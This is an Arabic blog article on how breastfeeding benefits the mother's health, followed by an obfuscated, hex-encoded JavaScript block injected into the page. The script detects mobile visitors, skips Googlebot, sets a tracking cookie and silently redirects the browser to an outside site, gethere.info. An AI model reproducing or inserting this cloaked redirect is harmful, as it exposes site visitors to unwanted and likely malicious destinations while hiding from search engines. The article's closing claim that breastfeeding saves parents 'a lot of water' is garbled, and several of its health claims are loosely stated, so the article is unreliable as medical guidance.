انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تستفيد الام من الرضاعة الطبيعية

الرضاعة الطبيعية مهمة جدا للجنين بالإضافة الي انها مهمة جدا للام ولكن العديد من السيدات لا يعرفون أهمية الرضاعة الطبيعية لهم وكيف يستفيد الجسم من الرضاعة الطبيعية وما هو المردود الذي يعود على الجسم باتباع الرضاعة الطبيعية فهناك العديد من الفوائد الصحية والمادية والعصبية التي تستفيد بها الام لمجرد اعتمادها علي الطريقة الأفضل في تغذية مولودها ” الرضاعة الطبيعية ” ولا يمكننا ان نغفل عن التكنولوجيا الطبية وفي مجال التغذية والتي باتت تحاول الوصول لكل المكونات الموجودة في اللبن الطبيعي لذلك في هذا المقال نوضح لكم أهمية الرضاعة الطبيعية للام وما هي التغيرات التي يحصل عليها الجسم كمردود للرضاعة الطبيعية

 

 

الرضاعة الطبيعية مهمة جدا للجنين بالإضافة الي انها مهمة جدا للام ولكن العديد من السيدات لا يعرفون أهمية الرضاعة
الرضاعة الطبيعية مهمة جدا للجنين بالإضافة الي انها مهمة جدا للام ولكن العديد من السيدات لا يعرفون أهمية الرضاعة

 

  • من اهم الفوائد الملحوظة التي تعود على المرأة من الرضاعة الطبيعية افراز الجسم هرمونات تعمل علي تضيق وتقليص الرحم وتساهم بنسبة كبيرة في الشفاء السريع من اثار الولادة وهذه الهرمونات لا يتم افرازها الا مع الرضاعة الطبيعية
  • نوع اخر من الهرمونات التي يفرزها الجسم بفضل الرضاعة الطبيعية مثل البرولاكتين والمعروف بتأثيره على الجهاز العصبي لذا نجد ان الرضاعة الطبيعية تساهم في تقليل التوتر وتساهم في تحسين أداء الجهاز العصبي
  • الرضاعة الطبيعية تساعدك في التخلص من الوزن الزائد حيث ان الدراسات اثبتت ان المرأة التي تمارس الرضاعة الطبيعية يمكنها ان تفقد 500 سعر حراري اثناء هذه الرضاعة على مدار اليوم وهو ما يساعد في التخلص من السعرات الحرارية
  • من الفوائد الأخرى التي تستفيد منها المرأة من الرضاعة الطبيعية انها تسهم في تأخير الإصابة بهشاشة العظام أكبر وقت ممكن بالإضافة الي انها تساهم في تقليل خطر الإصابة بسرطان الثدي وسرطان المبيض وعنق الرحم
  • هناك العديد من الامراض المزمنة التي تساعدك الرضاعة في الوقاية منها مدي العمر وليس في فترة الرضاعة فقط وتتمثل هذه الامراض في ” السمنة المفرطة – امراض الاوعية الدموية – امراض القلب – الخلل في مستوى الدهون في الدم “
  • الرضاعة الطبيعية من الأمور الطبيعية التي تدفع عن الوالدين تكلفة اللجوء الي اللبن الصناعي والأغذية المكملة الموجودة في اللبن الطبيعي لذا فالرضاعة الطبيعية توفر للوالدين الكثير من الماء

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.